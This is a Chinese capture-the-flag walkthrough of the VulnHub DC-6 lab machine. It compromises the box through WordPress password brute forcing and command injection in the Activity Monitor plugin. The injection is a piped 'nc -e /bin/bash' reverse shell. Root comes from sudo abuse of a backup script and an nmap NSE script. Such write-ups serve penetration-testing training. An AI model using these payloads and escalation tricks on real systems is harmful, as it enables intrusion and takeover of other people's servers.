1.下载靶机
本篇文章是DC靶机系列的第6篇,针对的是靶机DC-6,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。
DC-6的下载地址为DC: 6 ~ VulnHub。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。
DC-6只有一个flag。
在VMware加载成功之后并开启,建议把DC-6靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.88.128)。显示如下界面:
2.收集靶机信息
由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下
找到DC-6的IP地址为192.168.88.131,接下来使用nmap扫描该端口。
发现该靶机开启了80、22端口,80为web服务,我们访问http://192.168.88.131:80
发现访问失败,并且url被解析成了http://wordy/,这个问题和DC-2类似,需要在系统hosts文件上添加解析:
192.168.88.131 wordy
注意,如果是在kali虚拟机中添加,使用vim /etc/hosts 进行添加,此时只能使用kali虚拟机中的浏览器进行方法问;如果想在自己物理机上访问的话,需要在物理机的hosts文件添加上面语句。
然后在使用浏览器进行访问
此时的网站指纹为:
可以得到一个线索:该靶机的CMS系统为wordpress5.1.1。对于这个线索,我们有两个思路:
第一:利用目录扫描工具寻找该CMS的后台管理系统,然后再爆破密码和账号,进入后台管理系统寻找可利用的点。
第二:我们可以在网络上搜索该版本的漏洞,或者使用searchsploit,msfconsole等工具寻找漏洞及利用方法。
殊途同归,本文先循着第一个思路进行。这里利用dirb目录扫描工具寻找后台管理界面,当然也可以其他的工具,配合目录字典进行爆破,这里不详细展开。
结果中有一个http://192.168.88.131/wp-admin 我们尝试一下,果然是后台
这个思路和DC-2特别像。接着是爆破账号密码。盲猜一破admin admin,输入显示密码错误,随便输入一个admin0001,显示账号不存在。靶机回显处理的不好啊,说明admin是其中一个账号了。
继续爆破账号密码,使用针对该CMS的账号爆破工具wpscan,猜解密码:
输入命令行:wpscan --url http://wordy -e u
猜解出以上5个用户名,我们将其保存在一个DC-6-name.txt文件中(文件名自拟)。
接着利用cewl根据本文生成密码,然后再利用爆破工具暴力破解。本文利用cewl生成的密码都没破解出来,需要更强大的字典,这里有两个选择,一个是使用自己平时积累的密码字典破解,或者利用kali自带的密码字典,毕竟在下载靶机镜像的时候,作者已经提示了:
我们就使用kali自带的字典,根据提示,将字典到本地。
然后使用爆破工具进行爆破,可以使用bp,hydra,medusa等,本文还是选择wpscan工具
输入命令行:
wpscan --url http://wordy -P passwords.txt -U dc-6-name.txt
显然字典太大了,这是一个漫长的过程。最后结果是只爆破了mark helpdesk01。
利用这个账号密码登陆成功。
然后就开始360度无死角的检查该系统,寻找可利用的点,这里寻找到两个线索,第一:该网站使用了activity monitor工具,第二,在activity monitor目录的tools一栏存在可注入的点
这里输入IP或者数字,然后将用户的输入传到后台解析。
根据这两个线索,本文又有两个思路:
第一:既然会回传用户的输入到后台解析,那么是否可以修改数据包达到我们的目的呢?可以利用BP抓包测试。
第二:利用前文提到的漏洞扫描工具对activity monitor进行扫描,寻找历史漏洞。
本文利用第一个思路,输入souhu.com,点击lookup
开启bp抓包,并发送
然后将souhu.com改成souhu.com|whoami
发现管道符后面的whoami运行了。说明此处存在漏洞。
3.漏洞测试
接着利用该漏洞反弹一个shell。
首先在kali虚拟机上开启监听
将包改成 souhu.com|nc -e /bin/bash 192.168.88.131 7777
可以看到shell已经回传到kali上了
我们利用python开启交互模式。输入命令
python -c 'import pty;pty.spawn("/bin/bash")'
交互模式成功,打开home目录,查找新的线索:
发现在mark目录下存在一个things-to-do文件,打开发现了graham的账号密码。
然后登陆graham的账号密码,发现登陆失败,想到该靶机还开启了22端口因此尝试ssh登录。
登陆成功。
5.漏洞利用
尝试一下sudo -l
出现了免密的jens的命令
进入/home/jens目录,打开backups.sh文件
里面是一个压缩命令行,说明该文件可以运行,因此想到可以在该文件中添加/bin/bash语句,则可以打开jens的shell了。
echo '/bin/bash' >> backups.sh #在文件中添加命令行
sudo ./backups.sh #运行失败,因为此时是graham哟用户
sudo -u jens ./backups.sh #-u 指定用户
反弹了一个jens的shell。
发现jens可以免密码运行root权限nmap。此时想到nmap可以运行文件,那么我们写一个打开root shell的文件,再让nmap执行,就可以拿到root权限了
echo 'os.execute("/bin/sh")' >getshell.nse #写一个root shell的文件
sudo nmap --script=getshell.nse #运行
打开root目录,发现theflag.txt文件
拿到flag!
此外:
1.本文有两处地方有两个思路,由于我比较懒,就没有另外集中发思路的过程写下来,感兴趣的读者可以尝试!